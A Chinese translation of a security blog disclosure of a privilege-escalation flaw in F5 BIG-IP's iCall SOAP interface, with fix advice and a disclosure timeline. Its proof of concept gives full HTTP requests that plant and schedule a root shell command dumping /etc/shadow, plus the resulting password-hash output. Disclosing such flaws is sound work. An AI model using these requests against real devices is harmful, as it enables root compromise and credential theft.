今年早些时候,GDS在F5 BIG-IP LTM中发现了一个漏洞,这个漏洞允许受限的用户访问系统后进行提取并且在提权成功后远程执行命令。
本文将展示如何手动利用这个漏洞。同时Metasploit也已经增加了相应的模块,详情参见 https://www.rapid7.com/db/modules/exploit/linux/http/f5_icall_cmd 。
概要
这个漏洞问题在于SOAP接口暴露在了 https://<host>/iControl/iControlPortal.cgi
中(这个小问题之前就曾在CVE-2014-2928中出现过)。使得具有合法访问Web接口权限和"Resource Administrator"角色的攻击者可以滥用iCall SOAP功能以root权限在设备上执行任意命令。
使用iCall接口我们可以创建和运行管理脚本,这些脚本会被Tcl解释器以root权限运行。具体受到影响的版本请参见 F5 Security Advisory 。
POC
下面以查看"/etc/shadow"文件(包含设备上密码hash值的文件)作为演示。利用相同的方法我们也可以获取一个root权限的命令行shell。
为了演示,我们首先在目标设备上创建一个名为"test"的用户,其密码为"default"且具有"Resource Administrator"角色。这个用户不允许使用任何shell。
下面的HTTP POST请求会在目标设备上面创建一个iCall脚本,我们会将payload exec /bin/sh -c “id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs”
标红。
执行这个脚本没有任何的输出,然而这个脚本会将"/etc/shadow"文件复制到存储配置备份的目录下。在这我们可以通过Web接口进行访问,稍后会进行演示。我们同时记录了执行 id
命令后的输出,这样做是为了展示我们的确是以root权限运行的。
Request:
POST /iControl/iControlPortal.cgi HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: urn:iControl:iCall/Script Host: 10.0.0.249 Content-Length: 866 Authorization: Basic dGVzdDpkZWZhdWx0= <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> <soapenv:Header/> <soapenv:Body> <scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exploit</item></scripts> <definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exec /bin/sh -c "id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs"</item></definitions> </scr:create> </soapenv:Body> </soapenv:Envelope>
Response:
HTTP/1.1 200 OK Date: Fri, 26 Jun 2015 14:30:32 GMT Server: Apache SOAPServer: EasySoap++/0.6 X-Frame-Options: SAMEORIGIN Content-Type: text/xml; charset="UTF-8" Content-Length: 428 <E:Envelope xmlns:E="http://schemas.xmlsoap.org/soap/envelope/" xmlns:A="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://www.w3.org/2001/XMLSchema-instance" xmlns:y="http://www.w3.org/2001/XMLSchema" xmlns:iControl="urn:iControl" E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <E:Body> <m:createResponse xmlns:m="urn:iControl:iCall/Script"></m:createResponse> </E:Body> </E:Envelope>
为了执行脚本iCall接口提供了不同类型的处理方式。这种情况下,PeriodicHandler会被用于处理如下请求。
POST /iControl/iControlPortal.cgi HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: urn:iControl:iCall/PeriodicHandler Host: 10.0.0.249 Content-Length: 923 Authorization: Basic dGVzdDpkZWZhdWx0= <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> <soapenv:Header/> <soapenv:Body> <per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> <item>exploitHandler</item> </handlers> <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> <item>/Common/exploit</item> </scripts> <intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl"> <item>30</item> </intervals> </per:create> </soapenv:Body> </soapenv:Envelope>
Response:
HTTP/1.1 200 OK Date: Fri, 26 Jun 2015 14:36:30 GMT Server: Apache Set-Cookie: BIGIPAuthCookie=E41B1D179BD9DBF88AF1FF43F2390E5ED6BD6199; path=/; Secure; Set-Cookie: BIGIPAuthUsernameCookie=test; path=/; Secure; SOAPServer: EasySoap++/0.6 X-Frame-Options: SAMEORIGIN Content-Type: text/xml; charset="UTF-8" Content-Length: 428 <E:Envelope xmlns:E="http://schemas.xmlsoap.org/soap/envelope/" xmlns:A="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://www.w3.org/2001/XMLSchema-instance" xmlns:y="http://www.w3.org/2001/XMLSchema" xmlns:iControl="urn:iControl" E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <E:Body> <m:createResponse xmlns:m="urn:iControl:iCall/PeriodicHandler"></m:createResponse> </E:Body> </E:Envelope>
这里我们的脚本每30秒就会被执行一次。
想要查看文件我们需要登录设备,然后在System->Archives里查看,见如下截图:
下载包含执行命令输出的文件,结果跟我们预期的一样:
$ cat file.ucs uid=0(root) gid=0(root) context=system_u:system_r:init_t root:$1$8kIUIrbb$b7FOEXTrKOiOgJ1w0T78F/:16496:0:99999:7::: bin:*:16153:::::: daemon:*:16153:::::: adm:*:16153:::::: lp:*:16153:::::: mail:*:16153:::::: uucp:*:16153:::::: operator:*:16153:::::: nobody:*:16153:::::: tmshnobody:*:16153:::::: admin:$1$VFlFWR0F$iIy0wXSbTl4EpmMYPnX1A.:16496:0:99999:7::: apache:!!:16153:::::: mysql:!!:16153:::::: vcsa:!!:16153:::::: oprofile:!!:16153:::::: sshd:!!:16153:::::: syscheck:!!:16153:::::: rpc:!!:16153:::::: f5_remoteuser:!!:16153:::::: pcap:!!:16153:::::: tomcat:!!:16153:::::: ntp:!!:16153:::::: named:!!:16153:::::: test:$1$SO17paaX$hNC27dZsBM9l3kSFuY/h9.:16500:0:99999:7:::
修复
打补丁。如果补丁不行,查看所有账户中是否存在"Resource Administrator"角色,更新配置尽可能只提供最小的权限,同时必须认识到"Resource Administrator"角色可能具有不受限制的权限这一问题。
披露时间线
2015/04/07 – 漏洞报告给F5安全相应小组
2015/04/27 – F5确认漏洞并给出受影响的版本
2015/09/05 – F5更新版本12.0.0修复了漏洞
2015/09/22 – F5发布版本11.5.3 HF2修复了漏洞
2015/10/30 – F5发布版本11.6.0 HF6修复了漏洞
2015/11/19 – Metasploit发布攻击modue
* 原文: blog.gdssecurity , 译者/xiaix,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)